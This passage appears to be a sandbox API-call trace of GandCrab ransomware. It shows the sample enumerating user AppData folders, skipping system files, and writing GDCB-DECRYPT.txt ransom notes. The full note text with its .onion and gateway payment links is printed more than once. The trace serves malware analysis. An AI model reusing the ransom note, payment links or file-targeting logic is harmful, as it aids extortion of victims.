VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.772] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned 87 [0054.773] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned 87 [0054.773] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.773] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.773] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.773] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.773] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" [0054.773] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.773] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 77 [0054.773] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 77 [0054.773] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 77 [0054.773] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 77 [0054.773] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0054.773] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.773] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.773] lstrcmpW (lpString1="Documents.library-ms", lpString2=".") returned 1 [0054.773] lstrcmpW (lpString1="Documents.library-ms", lpString2="..") returned 1 [0054.773] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Documents.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" [0054.773] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.773] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned 86 [0054.773] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned 86 [0054.773] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.774] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.774] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.774] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.774] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt" [0054.774] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.774] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned 82 [0054.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned 82 [0054.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned 82 [0054.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned 82 [0054.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.774] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.774] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.774] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.774] lstrcmpW (lpString1="Music.library-ms", lpString2=".") returned 1 [0054.774] lstrcmpW (lpString1="Music.library-ms", lpString2="..") returned 1 [0054.774] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Music.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" [0054.774] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.774] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned 82 [0054.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned 82 [0054.774] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.775] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.775] lstrcmpW (lpString1="Pictures.library-ms", lpString2=".") returned 1 [0054.775] lstrcmpW (lpString1="Pictures.library-ms", lpString2="..") returned 1 [0054.775] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Pictures.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" [0054.775] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.775] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned 85 [0054.775] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned 85 [0054.775] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.775] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.775] lstrcmpW (lpString1="SavedPictures.library-ms", lpString2=".") returned 1 [0054.775] lstrcmpW (lpString1="SavedPictures.library-ms", lpString2="..") returned 1 [0054.775] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="SavedPictures.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms" [0054.775] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.775] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned 90 [0054.775] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned 90 [0054.775] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.775] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.775] lstrcmpW (lpString1="Videos.library-ms", lpString2=".") returned 1 [0054.775] lstrcmpW (lpString1="Videos.library-ms", lpString2="..") returned 1 [0054.775] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Videos.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" [0054.775] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.776] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned 83 [0054.776] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned 83 [0054.776] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.776] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.776] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.776] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.776] lstrcmpW (lpString1="Network Shortcuts", lpString2=".") returned 1 [0054.776] lstrcmpW (lpString1="Network Shortcuts", lpString2="..") returned 1 [0054.776] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Network Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" [0054.776] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\" [0054.776] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.776] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.776] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.776] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.776] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.776] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.776] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned 74 [0054.776] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" [0054.776] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8870 [0054.777] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.777] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.777] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.777] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.777] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.777] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.777] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.777] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\\\GDCB-DECRYPT.txt") returned 91 [0054.777] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\network shortcuts\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.778] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.778] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.778] CloseHandle (hObject=0x4fc) returned 1 [0054.779] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.779] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned 74 [0054.779] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" [0054.779] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8870 [0054.779] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.779] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.779] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.779] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.779] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.779] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.779] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.779] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt" [0054.779] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.779] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0054.779] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0054.779] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0054.779] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0054.780] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.780] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.780] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.780] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.780] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.780] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.780] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.780] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.780] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.780] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.780] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.780] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.780] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.780] lstrcmpW (lpString1="Printer Shortcuts", lpString2=".") returned 1 [0054.780] lstrcmpW (lpString1="Printer Shortcuts", lpString2="..") returned 1 [0054.780] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Printer Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" [0054.780] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\" [0054.780] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.780] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.780] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.780] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.780] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.780] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.780] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned 74 [0054.780] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" [0054.780] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b85f0 [0054.781] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.781] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.781] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.781] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.781] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.781] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.781] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.781] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\\\GDCB-DECRYPT.txt") returned 91 [0054.781] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\printer shortcuts\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.782] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.782] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.782] CloseHandle (hObject=0x4fc) returned 1 [0054.783] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.783] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned 74 [0054.783] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" [0054.783] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b85f0 [0054.783] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.783] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.783] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.783] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.783] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.783] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.783] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.783] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\", lpString2="GDCB-DECRYPT.txt" | out: 